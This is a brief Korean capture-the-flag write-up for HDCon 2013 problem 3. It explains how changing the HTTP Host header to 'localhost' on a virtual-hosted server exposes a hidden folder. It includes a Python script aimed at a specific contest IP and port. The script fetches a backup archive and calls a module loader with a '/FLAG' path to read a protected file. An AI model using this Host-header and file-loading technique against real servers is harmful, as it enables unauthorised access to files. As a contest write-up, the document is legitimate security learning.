[HDCon 2013] 3번 문제 write up
(2번 문제는 생략하도록 한다. 그냥 네이트온 대화가 오간것을 찾으면 된다.)
virtual host 문제였다.
서버가 virtual host일때, HTTP 헤더의 'Host' 헤더에 따라서 폴더의 경로가 바뀔수 있다.
이번에 처음 안 사실이고, 신기했다.
그래서, 기본적으로는 host가 kisa로 되어있으며, Host를 localhost로 변경할경우 다른 폴더가 나타난다.
import httplib,urllib; import time from socket import * """ s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.213',8888)) s.send("GET /2013_06_04_blog_backup_.zip HTTP/1.1\r\n") s.send("Referer: http://kisa/\r\n") s.send("Host: localhost\r\n\r\n") f=open('test.zip','w') time.sleep(10) f.write(s.recv(30000)) f.close() s.close() """ conn = httplib.HTTPConnection("118.107.172.213",8888) conn.connect() conn.putrequest('GET','/blog_load_submodules.php?module=/FLAG&cmd=load') conn.putheader('Host','localhost') conn.endheaders() response = conn.getresponse() data = response.read() print data conn.close()